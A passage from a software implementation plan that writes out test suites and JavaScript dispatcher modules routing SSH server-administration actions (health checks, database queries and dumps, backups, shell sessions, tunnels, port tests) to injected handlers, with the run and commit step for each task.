watch_type: 'cpu' }, + }); + assert.strictEqual(monitor.calls.length, 1); + assert.strictEqual(monitor.calls[0].args.type, 'cpu'); +}); + +await test('procs routes to handlers.processManager, passing proc_action -> action', async () => { + const processManager = spy(); + await handleSshHealth({ + deps: DEPS, handlers: { processManager }, + args: { server: 's', action: 'procs', proc_action: 'list', limit: 10 }, + }); + assert.strictEqual(processManager.calls.length, 1); + assert.strictEqual(processManager.calls[0].args.action, 'list'); + assert.strictEqual(processManager.calls[0].args.limit, 10); +}); + +await test('procs defaults proc_action to "list" when omitted', async () => { + const processManager = spy(); + await handleSshHealth({ + deps: DEPS, handlers: { processManager }, + args: { server: 's', action: 'procs' }, + }); + assert.strictEqual(processManager.calls[0].args.action, 'list'); +}); + +await test('procs kill forwards pid + signal + preview', async () => { + const processManager = spy(); + await handleSshHealth({ + deps: DEPS, handlers: { processManager }, + args: { server: 's', action: 'procs', proc_action: 'kill', pid: 42, signal: 'KILL', preview: true }, + }); + assert.strictEqual(processManager.calls[0].args.pid, 42); + assert.strictEqual(processManager.calls[0].args.signal, 'KILL'); + assert.strictEqual(processManager.calls[0].args.preview, true); +}); + +await test('alerts routes to handlers.alertSetup, maps alert_action -> action', async () => { + const alertSetup = spy(); + await handleSshHealth({ + deps: DEPS, handlers: { alertSetup }, + args: { server: 's', action: 'alerts', alert_action: 'check' }, + }); + assert.strictEqual(alertSetup.calls.length, 1); + assert.strictEqual(alertSetup.calls[0].args.action, 'check'); +}); + +await test('check missing server -> structured fail', async () => { + const r = await handleSshHealth({ + deps: DEPS, handlers: { healthCheck: spy() }, + args: { action: 'check' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('server')); +}); + +await test('alerts missing alert_action -> structured fail', async () => { + const r = await handleSshHealth({ + deps: DEPS, handlers: { alertSetup: spy() }, + args: { server: 's', action: 'alerts' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('alert_action')); +}); + +await test('unknown action -> structured fail', async () => { + const r = await handleSshHealth({ deps: DEPS, handlers: {}, args: { server: 's', action: 'xray' } }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('xray')); +}); + +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-dispatcher-health.js` +Expected: FAIL — `Cannot find module '../src/dispatchers/ssh-health.js'`. + +- [ ] **Step 3: Write the implementation** + +Create `src/dispatchers/ssh-health.js`: + +```javascript +/** + * ssh_health -- v4 fat verb-tool dispatcher. + * + * Collapses ssh_health_check / ssh_monitor / ssh_process_manager / + * ssh_alert_setup. + * check -> handleSshHealthCheck + * watch -> handleSshMonitor (watch_type -> type) + * procs -> handleSshProcessManager (proc_action -> action, default 'list') + * alerts -> handleSshAlertSetup (alert_action -> action) + * + * v4 sub-action args are renamed so the single `action` slot stays the + * verb-tool selector and the inner tool's own action enum is a distinct arg. + * + * handlers (injected): { healthCheck, monitor, processManager, alertSetup }. + */ + +import { fail, toMcp } from '../structured-result.js'; +import { makeCtx } from './ctx-factory.js'; +import { requireArgs } from './action-validate.js'; + +const REQUIRED = { + check: ['server'], + watch: ['server'], + procs: ['server'], + alerts: ['server', 'alert_action'], +}; + +export async function handleSshHealth({ deps, handlers, args } = {}) { + const a = args || {}; + const { action } = a; + + if (!action) { + return toMcp(fail('ssh_health', 'action is required', { server: a.server ?? null })); + } + if (!Object.prototype.hasOwnProperty.call(REQUIRED, action)) { + return toMcp(fail('ssh_health', `unknown action "${action}"`, { server: a.server ?? null })); + } + + const bad = requireArgs('ssh_health', action, a, REQUIRED); + if (bad) return bad; + + switch (action) { + case 'check': + return handlers.healthCheck(makeCtx('conn', deps, { + server: a.server, format: a.format, + })); + + case 'watch': + return handlers.monitor(makeCtx('conn', deps, { + server: a.server, type: a.watch_type, format: a.format, + })); + + case 'procs': + return handlers.processManager(makeCtx('conn', deps, { + server: a.server, + action: a.proc_action || 'list', + pid: a.pid, + signal: a.signal, + sort_by: a.sort_by, + limit: a.limit, + filter: a.filter, + preview: a.preview, + format: a.format, + })); + + case 'alerts': + default: + return handlers.alertSetup(makeCtx('conn', deps, { + server: a.server, + action: a.alert_action, + cpuThreshold: a.cpu_threshold, + memoryThreshold: a.memory_threshold, + diskThreshold: a.disk_threshold, + enabled: a.enabled, + format: a.format, + })); + } +} +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-dispatcher-health.js` +Expected: PASS — `9 passed, 0 failed`. + +- [ ] **Step 5: Commit** + +```bash +git add src/dispatchers/ssh-health.js tests/test-dispatcher-health.js +git commit -m "feat: add ssh_health v4 dispatcher" +``` + +--- + +## Task 4: `ssh_db` dispatcher + +`ssh_db` collapses `ssh_db_query`, `ssh_db_list`, `ssh_db_dump`, `ssh_db_import`. Four actions: `query`, `list`, `dump`, `import`. All four handlers use the `conn` ctx kind. v4 `db_type` maps onto each handler's `db_type` arg. + +**Files:** +- Create: `src/dispatchers/ssh-db.js` +- Test: `tests/test-dispatcher-db.js` (create) + +- [ ] **Step 1: Write the failing test** + +Create `tests/test-dispatcher-db.js`: + +```javascript +#!/usr/bin/env node +/** + * Routing suite for the ssh_db v4 dispatcher (src/dispatchers/ssh-db.js). + * Run: node tests/test-dispatcher-db.js + */ +import assert from 'assert'; +import { handleSshDb } from '../src/dispatchers/ssh-db.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +async function test(name, fn) { + try { + await fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +function spy(ret = { content: [{ type: 'text', text: 'ok' }], isError: false }) { + const calls = []; + const fn = async (ctx) => { calls.push(ctx); return ret; }; + fn.calls = calls; + return fn; +} + +const DEPS = { getConnection: () => 'CONN' }; + +console.log('[test] Testing ssh_db dispatcher\n'); + +await test('query routes to handlers.query with db_type + query', async () => { + const query = spy(); + await handleSshDb({ + deps: DEPS, handlers: { query }, + args: { server: 's', action: 'query', database: 'app', query: 'SELECT 1', db_type: 'mysql' }, + }); + assert.strictEqual(query.calls.length, 1); + assert.strictEqual(query.calls[0].args.query, 'SELECT 1'); + assert.strictEqual(query.calls[0].args.db_type, 'mysql'); + assert.strictEqual(query.calls[0].getConnection, DEPS.getConnection); +}); + +await test('list routes to handlers.list (database optional)', async () => { + const list = spy(); + await handleSshDb({ + deps: DEPS, handlers: { list }, + args: { server: 's', action: 'list', db_type: 'postgresql' }, + }); + assert.strictEqual(list.calls.length, 1); + assert.strictEqual(list.calls[0].args.db_type, 'postgresql'); +}); + +await test('dump routes to handlers.dump', async () => { + const dump = spy(); + await handleSshDb({ + deps: DEPS, handlers: { dump }, + args: { server: 's', action: 'dump', database: 'app', output_file: '/tmp/a.sql' }, + }); + assert.strictEqual(dump.calls.length, 1); + assert.strictEqual(dump.calls[0].args.output_file, '/tmp/a.sql'); +}); + +await test('import routes to handlers.import, forwards preview', async () => { + const importH = spy(); + await handleSshDb({ + deps: DEPS, handlers: { import: importH }, + args: { server: 's', action: 'import', database: 'app', input_file: '/tmp/a.sql', preview: true }, + }); + assert.strictEqual(importH.calls.length, 1); + assert.strictEqual(importH.calls[0].args.input_file, '/tmp/a.sql'); + assert.strictEqual(importH.calls[0].args.preview, true); +}); + +await test('db credential args are forwarded', async () => { + const query = spy(); + await handleSshDb({ + deps: DEPS, handlers: { query }, + args: { + server: 's', action: 'query', database: 'app', query: 'SELECT 1', + user: 'u', password: 'p', host: 'h', port: 5432, + }, + }); + const fwd = query.calls[0].args; + assert.strictEqual(fwd.user, 'u'); + assert.strictEqual(fwd.password, 'p'); + assert.strictEqual(fwd.host, 'h'); + assert.strictEqual(fwd.port, 5432); +}); + +await test('query missing query -> structured fail, handler not called', async () => { + const query = spy(); + const r = await handleSshDb({ + deps: DEPS, handlers: { query }, + args: { server: 's', action: 'query', database: 'app' }, + }); + assert.strictEqual(query.calls.length, 0); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('query')); +}); + +await test('dump missing database -> structured fail', async () => { + const r = await handleSshDb({ + deps: DEPS, handlers: { dump: spy() }, + args: { server: 's', action: 'dump' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('database')); +}); + +await test('unknown action -> structured fail', async () => { + const r = await handleSshDb({ deps: DEPS, handlers: {}, args: { server: 's', action: 'truncate' } }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('truncate')); +}); + +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-dispatcher-db.js` +Expected: FAIL — `Cannot find module '../src/dispatchers/ssh-db.js'`. + +- [ ] **Step 3: Write the implementation** + +Create `src/dispatchers/ssh-db.js`: + +```javascript +/** + * ssh_db -- v4 fat verb-tool dispatcher. + * + * Collapses ssh_db_query / ssh_db_list / ssh_db_dump / ssh_db_import. + * All four use the conn ctx kind. + * + * handlers (injected): { query, list, dump, import }. + */ + +import { fail, toMcp } from '../structured-result.js'; +import { makeCtx } from './ctx-factory.js'; +import { requireArgs } from './action-validate.js'; + +const REQUIRED = { + query: ['server', 'database', 'query'], + list: ['server'], + dump: ['server', 'database'], + import: ['server', 'database'], +}; + +// Args common to every db handler: connection-target credentials. +function creds(a) { + return { + server: a.server, + db_type: a.db_type, + database: a.database, + user: a.user, + password: a.password, + host: a.host, + port: a.port, + format: a.format, + }; +} + +export async function handleSshDb({ deps, handlers, args } = {}) { + const a = args || {}; + const { action } = a; + + if (!action) { + return toMcp(fail('ssh_db', 'action is required', { server: a.server ?? null })); + } + if (!Object.prototype.hasOwnProperty.call(REQUIRED, action)) { + return toMcp(fail('ssh_db', `unknown action "${action}"`, { server: a.server ?? null })); + } + + const bad = requireArgs('ssh_db', action, a, REQUIRED); + if (bad) return bad; + + switch (action) { + case 'query': + return handlers.query(makeCtx('conn', deps, { + ...creds(a), query: a.query, collection: a.collection, + })); + + case 'list': + return handlers.list(makeCtx('conn', deps, creds(a))); + + case 'dump': + return handlers.dump(makeCtx('conn', deps, { + ...creds(a), output_file: a.output_file, gzip: a.gzip, tables: a.tables, + })); + + case 'import': + default: + return handlers.import(makeCtx('conn', deps, { + ...creds(a), input_file: a.input_file, drop: a.drop, preview: a.preview, + })); + } +} +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-dispatcher-db.js` +Expected: PASS — `8 passed, 0 failed`. + +- [ ] **Step 5: Commit** + +```bash +git add src/dispatchers/ssh-db.js tests/test-dispatcher-db.js +git commit -m "feat: add ssh_db v4 dispatcher" +``` + +--- + +## Task 5: `ssh_backup` dispatcher + +`ssh_backup` collapses `ssh_backup_create`, `ssh_backup_list`, `ssh_backup_restore`, `ssh_backup_schedule`. Four actions: `create`, `list`, `restore`, `schedule`. All `conn` ctx kind. + +**Files:** +- Create: `src/dispatchers/ssh-backup.js` +- Test: `tests/test-dispatcher-backup.js` (create) + +- [ ] **Step 1: Write the failing test** + +Create `tests/test-dispatcher-backup.js`: + +```javascript +#!/usr/bin/env node +/** + * Routing suite for the ssh_backup v4 dispatcher (src/dispatchers/ssh-backup.js). + * Run: node tests/test-dispatcher-backup.js + */ +import assert from 'assert'; +import { handleSshBackup } from '../src/dispatchers/ssh-backup.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +async function test(name, fn) { + try { + await fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +function spy(ret = { content: [{ type: 'text', text: 'ok' }], isError: false }) { + const calls = []; + const fn = async (ctx) => { calls.push(ctx); return ret; }; + fn.calls = calls; + return fn; +} + +const DEPS = { getConnection: () => 'CONN' }; + +console.log('[test] Testing ssh_backup dispatcher\n'); + +await test('create routes to handlers.create, maps backup_type', async () => { + const create = spy(); + await handleSshBackup({ + deps: DEPS, handlers: { create }, + args: { server: 's', action: 'create', backup_type: 'mysql', database: 'app' }, + }); + assert.strictEqual(create.calls.length, 1); + assert.strictEqual(create.calls[0].args.backup_type, 'mysql'); + assert.strictEqual(create.calls[0].getConnection, DEPS.getConnection); +}); + +await test('list routes to handlers.list', async () => { + const list = spy(); + await handleSshBackup({ + deps: DEPS, handlers: { list }, + args: { server: 's', action: 'list', backup_type: 'files' }, + }); + assert.strictEqual(list.calls.length, 1); +}); + +await test('restore routes to handlers.restore with backup_id + preview', async () => { + const restore = spy(); + await handleSshBackup({ + deps: DEPS, handlers: { restore }, + args: { server: 's', action: 'restore', backup_id: 'bk-1', preview: true }, + }); + assert.strictEqual(restore.calls.length, 1); + assert.strictEqual(restore.calls[0].args.backup_id, 'bk-1'); + assert.strictEqual(restore.calls[0].args.preview, true); +}); + +await test('schedule routes to handlers.schedule with cron', async () => { + const schedule = spy(); + await handleSshBackup({ + deps: DEPS, handlers: { schedule }, + args: { server: 's', action: 'schedule', cron: '0 3 * * *', backup_type: 'mysql', database: 'app' }, + }); + assert.strictEqual(schedule.calls.length, 1); + assert.strictEqual(schedule.calls[0].args.cron, '0 3 * * *'); +}); + +await test('restore missing backup_id -> structured fail, handler not called', async () => { + const restore = spy(); + const r = await handleSshBackup({ + deps: DEPS, handlers: { restore }, + args: { server: 's', action: 'restore' }, + }); + assert.strictEqual(restore.calls.length, 0); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('backup_id')); +}); + +await test('schedule missing cron -> structured fail', async () => { + const r = await handleSshBackup({ + deps: DEPS, handlers: { schedule: spy() }, + args: { server: 's', action: 'schedule' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('cron')); +}); + +await test('unknown action -> structured fail', async () => { + const r = await handleSshBackup({ deps: DEPS, handlers: {}, args: { server: 's', action: 'purge' } }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('purge')); +}); + +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-dispatcher-backup.js` +Expected: FAIL — `Cannot find module '../src/dispatchers/ssh-backup.js'`. + +- [ ] **Step 3: Write the implementation** + +Create `src/dispatchers/ssh-backup.js`: + +```javascript +/** + * ssh_backup -- v4 fat verb-tool dispatcher. + * + * Collapses ssh_backup_create / ssh_backup_list / ssh_backup_restore / + * ssh_backup_schedule. All conn ctx kind. + * + * handlers (injected): { create, list, restore, schedule }. + */ + +import { fail, toMcp } from '../structured-result.js'; +import { makeCtx } from './ctx-factory.js'; +import { requireArgs } from './action-validate.js'; + +const REQUIRED = { + create: ['server'], + list: ['server'], + restore: ['server', 'backup_id'], + schedule: ['server', 'cron'], +}; + +export async function handleSshBackup({ deps, handlers, args } = {}) { + const a = args || {}; + const { action } = a; + + if (!action) { + return toMcp(fail('ssh_backup', 'action is required', { server: a.server ?? null })); + } + if (!Object.prototype.hasOwnProperty.call(REQUIRED, action)) { + return toMcp(fail('ssh_backup', `unknown action "${action}"`, { server: a.server ?? null })); + } + + const bad = requireArgs('ssh_backup', action, a, REQUIRED); + if (bad) return bad; + + switch (action) { + case 'create': + return handlers.create(makeCtx('conn', deps, { + server: a.server, backup_type: a.backup_type, name: a.name, + database: a.database, paths: a.paths, exclude: a.exclude, + backup_dir: a.backup_dir, gzip: a.gzip, verify: a.verify, + preview: a.preview, format: a.format, + })); + + case 'list': + return handlers.list(makeCtx('conn', deps, { + server: a.server, backup_type: a.backup_type, backup_dir: a.backup_dir, + format: a.format, + })); + + case 'restore': + return handlers.restore(makeCtx('conn', deps, { + server: a.server, backup_id: a.backup_id, database: a.database, + target_path: a.target_path, backup_dir: a.backup_dir, verify: a.verify, + preview: a.preview, format: a.format, + })); + + case 'schedule': + default: + return handlers.schedule(makeCtx('conn', deps, { + server: a.server, cron: a.cron, backup_type: a.backup_type, + name: a.name, database: a.database, paths: a.paths, + retention: a.retention, preview: a.preview, format: a.format, + })); + } +} +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-dispatcher-backup.js` +Expected: PASS — `7 passed, 0 failed`. + +- [ ] **Step 5: Commit** + +```bash +git add src/dispatchers/ssh-backup.js tests/test-dispatcher-backup.js +git commit -m "feat: add ssh_backup v4 dispatcher" +``` + +--- + +## Task 6: `ssh_session` dispatcher + +`ssh_session` collapses `ssh_session_start`, `ssh_session_send`, `ssh_session_list`, `ssh_session_close`, `ssh_session_replay`, `ssh_session_memory`. Six actions. `start` uses the `conn` ctx kind; the other five use `args` only. + +**Files:** +- Create: `src/dispatchers/ssh-session.js` +- Test: `tests/test-dispatcher-session.js` (create) + +- [ ] **Step 1: Write the failing test** + +Create `tests/test-dispatcher-session.js`: + +```javascript +#!/usr/bin/env node +/** + * Routing suite for the ssh_session v4 dispatcher (src/dispatchers/ssh-session.js). + * Run: node tests/test-dispatcher-session.js + */ +import assert from 'assert'; +import { handleSshSession } from '../src/dispatchers/ssh-session.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +async function test(name, fn) { + try { + await fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +function spy(ret = { content: [{ type: 'text', text: 'ok' }], isError: false }) { + const calls = []; + const fn = async (ctx) => { calls.push(ctx); return ret; }; + fn.calls = calls; + return fn; +} + +const DEPS = { getConnection: () => 'CONN' }; + +console.log('[test] Testing ssh_session dispatcher\n'); + +await test('start routes to handlers.start with { getConnection, args }', async () => { + const start = spy(); + await handleSshSession({ + deps: DEPS, handlers: { start }, + args: { server: 's', action: 'start' }, + }); + assert.strictEqual(start.calls.length, 1); + assert.strictEqual(start.calls[0].getConnection, DEPS.getConnection); + assert.strictEqual(start.calls[0].args.server, 's'); +}); + +await test('send routes to handlers.send with { args } only', async () => { + const send = spy(); + await handleSshSession({ + deps: DEPS, handlers: { send }, + args: { action: 'send', session_id: 'sess-1', command: 'ls' }, + }); + assert.strictEqual(send.calls.length, 1); + assert.deepStrictEqual(Object.keys(send.calls[0]), ['args']); + assert.strictEqual(send.calls[0].args.session_id, 'sess-1'); + assert.strictEqual(send.calls[0].args.command, 'ls'); +}); + +await test('list routes to handlers.list with { args } only', async () => { + const list = spy(); + await handleSshSession({ + deps: DEPS, handlers: { list }, + args: { action: 'list' }, + }); + assert.strictEqual(list.calls.length, 1); + assert.deepStrictEqual(Object.keys(list.calls[0]), ['args']); +}); + +await test('close routes to handlers.close', async () => { + const close = spy(); + await handleSshSession({ + deps: DEPS, handlers: { close }, + args: { action: 'close', session_id: 'sess-1' }, + }); + assert.strictEqual(close.calls.length, 1); + assert.strictEqual(close.calls[0].args.session_id, 'sess-1'); +}); + +await test('replay routes to handlers.replay with limit', async () => { + const replay = spy(); + await handleSshSession({ + deps: DEPS, handlers: { replay }, + args: { action: 'replay', session_id: 'sess-1', limit: 5 }, + }); + assert.strictEqual(replay.calls.length, 1); + assert.strictEqual(replay.calls[0].args.limit, 5); +}); + +await test('memory routes to handlers.memory', async () => { + const memory = spy(); + await handleSshSession({ + deps: DEPS, handlers: { memory }, + args: { action: 'memory', session_id: 'sess-1' }, + }); + assert.strictEqual(memory.calls.length, 1); +}); + +await test('start missing server -> structured fail, handler not called', async () => { + const start = spy(); + const r = await handleSshSession({ + deps: DEPS, handlers: { start }, + args: { action: 'start' }, + }); + assert.strictEqual(start.calls.length, 0); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('server')); +}); + +await test('send missing command -> structured fail', async () => { + const r = await handleSshSession({ + deps: DEPS, handlers: { send: spy() }, + args: { action: 'send', session_id: 'sess-1' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('command')); +}); + +await test('close missing session_id -> structured fail', async () => { + const r = await handleSshSession({ + deps: DEPS, handlers: { close: spy() }, + args: { action: 'close' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('session_id')); +}); + +await test('unknown action -> structured fail', async () => { + const r = await handleSshSession({ deps: DEPS, handlers: {}, args: { action: 'detach' } }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('detach')); +}); + +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-dispatcher-session.js` +Expected: FAIL — `Cannot find module '../src/dispatchers/ssh-session.js'`. + +- [ ] **Step 3: Write the implementation** + +Create `src/dispatchers/ssh-session.js`: + +```javascript +/** + * ssh_session -- v4 fat verb-tool dispatcher. + * + * Collapses ssh_session_start / _send / _list / _close / _replay / _memory. + * start uses the conn ctx kind; the other five take { args } only. + * + * handlers (injected): { start, send, list, close, replay, memory }. + */ + +import { fail, toMcp } from '../structured-result.js'; +import { makeCtx } from './ctx-factory.js'; +import { requireArgs } from './action-validate.js'; + +const REQUIRED = { + start: ['server'], + send: ['session_id', 'command'], + list: [], + close: ['session_id'], + replay: ['session_id'], + memory: ['session_id'], +}; + +export async function handleSshSession({ deps, handlers, args } = {}) { + const a = args || {}; + const { action } = a; + + if (!action) { + return toMcp(fail('ssh_session', 'action is required', { server: a.server ?? null })); + } + if (!Object.prototype.hasOwnProperty.call(REQUIRED, action)) { + return toMcp(fail('ssh_session', `unknown action "${action}"`, { server: a.server ?? null })); + } + + const bad = requireArgs('ssh_session', action, a, REQUIRED); + if (bad) return bad; + + switch (action) { + case 'start': + return handlers.start(makeCtx('conn', deps, { + server: a.server, format: a.format, + })); + + case 'send': + return handlers.send(makeCtx('args', deps, { + session_id: a.session_id, command: a.command, + timeout: a.timeout, format: a.format, + })); + + case 'list': + return handlers.list(makeCtx('args', deps, { format: a.format })); + + case 'close': + return handlers.close(makeCtx('args', deps, { + session_id: a.session_id, format: a.format, + })); + + case 'replay': + return handlers.replay(makeCtx('args', deps, { + session_id: a.session_id, limit: a.limit, format: a.format, + })); + + case 'memory': + default: + return handlers.memory(makeCtx('args', deps, { + session_id: a.session_id, format: a.format, + })); + } +} +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-dispatcher-session.js` +Expected: PASS — `10 passed, 0 failed`. + +- [ ] **Step 5: Commit** + +```bash +git add src/dispatchers/ssh-session.js tests/test-dispatcher-session.js +git commit -m "feat: add ssh_session v4 dispatcher" +``` + +--- + +## Task 7: `ssh_net` dispatcher + +`ssh_net` collapses `ssh_tunnel_create`, `ssh_tunnel_list`, `ssh_tunnel_close`, `ssh_port_test`. Four actions: `tunnel-open`, `tunnel-list`, `tunnel-close`, `port-test`. `tunnel-open` and `port-test` use the `conn` ctx kind; `tunnel-list` and `tunnel-close` use `args` only. All four handlers declare `ctx = {}` then destructure, so `makeCtx(...)` is passed as the single argument. + +**Files:** +- Create: `src/dispatchers/ssh-net.js` +- Test: `tests/test-dispatcher-net.js` (create) + +- [ ] **Step 1: Write the failing test** + +Create `tests/test-dispatcher-net.js`: + +```javascript +#!/usr/bin/env node +/** + * Routing suite for the ssh_net v4 dispatcher (src/dispatchers/ssh-net.js). + * Run: node tests/test-dispatcher-net.js + */ +import assert from 'assert'; +import { handleSshNet } from '../src/dispatchers/ssh-net.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +async function test(name, fn) { + try { + await fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +function spy(ret = { content: [{ type: 'text', text: 'ok' }], isError: false }) { + const calls = []; + const fn = async (ctx) => { calls.push(ctx); return ret; }; + fn.calls = calls; + return fn; +} + +const DEPS = { getConnection: () => 'CONN' }; + +console.log('[test] Testing ssh_net dispatcher\n'); + +await test('tunnel-open routes to handlers.tunnelCreate with { getConnection, args }', async () => { + const tunnelCreate = spy(); + await handleSshNet({ + deps: DEPS, handlers: { tunnelCreate }, + args: { server: 's', action: 'tunnel-open', tunnel_type: 'local', local_port: 8080, remote_host: 'db', remote_port: 5432 }, + }); + assert.strictEqual(tunnelCreate.calls.length, 1); + assert.strictEqual(tunnelCreate.calls[0].getConnection, DEPS.getConnection); + assert.strictEqual(tunnelCreate.calls[0].args.type, 'local'); + assert.strictEqual(tunnelCreate.calls[0].args.local_port, 8080); +}); + +await test('tunnel-list routes to handlers.tunnelList with { args } only', async () => { + const tunnelList = spy(); + await handleSshNet({ + deps: DEPS, handlers: { tunnelList }, + args: { action: 'tunnel-list', server: 's' }, + }); + assert.strictEqual(tunnelList.calls.length, 1); + assert.deepStrictEqual(Object.keys(tunnelList.calls[0]), ['args']); +}); + +await test('tunnel-close routes to handlers.tunnelClose, maps tunnel_id', async () => { + const tunnelClose = spy(); + await handleSshNet({ + deps: DEPS, handlers: { tunnelClose }, + args: { action: 'tunnel-close', tunnel_id: 'tun-1' }, + }); + assert.strictEqual(tunnelClose.calls.length, 1); + assert.strictEqual(tunnelClose.calls[0].args.tunnel_id, 'tun-1'); +}); + +await test('port-test routes to handlers.portTest with { getConnection, args }', async () => { + const portTest = spy(); + await handleSshNet({ + deps: DEPS, handlers: { portTest }, + args: { server: 's', action: 'port-test', target_host: 'db', target_port: 5432 }, + }); + assert.strictEqual(portTest.calls.length, 1); + assert.strictEqual(portTest.calls[0].getConnection, DEPS.getConnection); + assert.strictEqual(portTest.calls[0].args.target_host, 'db'); +}); + +await test('tunnel-open missing tunnel_type -> structured fail, handler not called', async () => { + const tunnelCreate = spy(); + const r = await handleSshNet({ + deps: DEPS, handlers: { tunnelCreate }, + args: { server: 's', action: 'tunnel-open' }, + }); + assert.strictEqual(tunnelCreate.calls.length, 0); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('tunnel_type')); +}); + +await test('tunnel-close missing tunnel_id -> structured fail', async () => { + const r = await handleSshNet({ + deps: DEPS, handlers: { tunnelClose: spy() }, + args: { action: 'tunnel-close' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('tunnel_id')); +}); + +await test('port-test missing target_host -> structured fail', async () => { + const r = await handleSshNet({ + deps: DEPS, handlers: { portTest: spy() }, + args: { server: 's', action: 'port-test' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('target_host')); +}); + +await test('unknown action -> structured fail', async () => { + const r = await handleSshNet({ deps: DEPS, handlers: {}, args: { action: 'traceroute' } }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('traceroute')); +}); + +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-dispatcher-net.js` +Expected: FAIL — `Cannot find module '../src/dispatchers/ssh-net.js'`. + +- [ ] **Step 3: Write the implementation** + +Create `src/dispatchers/ssh-net.js`: + +```javascript +/** + * ssh_net -- v4 fat verb-tool dispatcher. + * + * Collapses ssh_tunnel_create / _list / _close and ssh_port_test. + * tunnel-open + port-test use conn ctx; tunnel-list + tunnel-close use args. + * v4 `tunnel_type` maps to the tunnel handler's `type` arg. + * + * handlers (injected): { tunnelCreate, tunnelList, tunnelClose, portTest }. + */ + +import { fail, toMcp } from '../structured-result.js'; +import { makeCtx } from './ctx-factory.js'; +import { requireArgs } from './action-validate.js'; + +const REQUIRED = { + 'tunnel-open': ['server', 'tunnel_type'], + 'tunnel-list': [], + 'tunnel-close': ['tunnel_id'], + 'port-test': ['target_host'], +}; + +export async function handleSshNet({ deps, handlers, args } = {}) { + const a = args || {}; + const { action } = a; + + if (!action) { + return toMcp(fail('ssh_net', 'action is required', { server: a.server ?? null })); + } + if (!Object.prototype.hasOwnProperty.call(REQUIRED, action)) { + return toMcp(fail('ssh_net', `unknown action "${action}"`, { server: a.server ?? null })); + } + + const bad = requireArgs('ssh_net', action, a, REQUIRED); + if (bad) return bad; + + switch (action) { + case 'tunnel-open': + return handlers.tunnelCreate(makeCtx('conn', deps, { + server: a.server, + type: a.tunnel_type, + local_host: a.local_host, + local_port: a.local_port, + remote_host: a.remote_host, + remote_port: a.remote_port, + preview: a.preview, + format: a.format, + })); + + case 'tunnel-list': + return handlers.tunnelList(makeCtx('args', deps, { + server: a.server, format: a.format, + })); + + case 'tunnel-close': + return handlers.tunnelClose(makeCtx('args', deps, { + tunnel_id: a.tunnel_id, server: a.server, format: a.format, + })); + + case 'port-test': + default: + return handlers.portTest(makeCtx('conn', deps, { + server: a.server, + target_host: a.target_host, + target_port: a.target_port, + probe_chain: a.probe_chain, + timeout_ms_per_probe: a.timeout_ms_per_probe, + continue_on_fail: a.continue_on_fail, + format: a.format, + })); + } +} +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-dispatcher-net.js` +Expected: PASS — `8 passed, 0 failed`. + +- [ ] **Step 5: Commit** + +```bash +git add src/dispatchers/ssh-net.js tests/test-dispatcher-net.js +git commit -m "feat: add ssh_net v4 dispatcher" +``` + +--- + +## Task 8: `ssh_docker` dispatcher + +`ssh_docker` keeps the existing `handleSshDocker` handler first-class. The handler already owns a multi-action enum (`ps`, `images`, `inspect`, `logs`, `start`, `stop`, `restart`, `rm`, `rmi`, `pull`, `exec`). The v4 dispatcher is a thin pass-through: it validates per-action required args, then forwards to `handleSshDocker` with the v4 `action` mapped straight onto the handler's `action`. v4 advertises `ps, logs, exec, restart, inspect, compose`; `compose` is rejected at the dispatcher with a clear message (the existing handler has no compose path — adding one is out 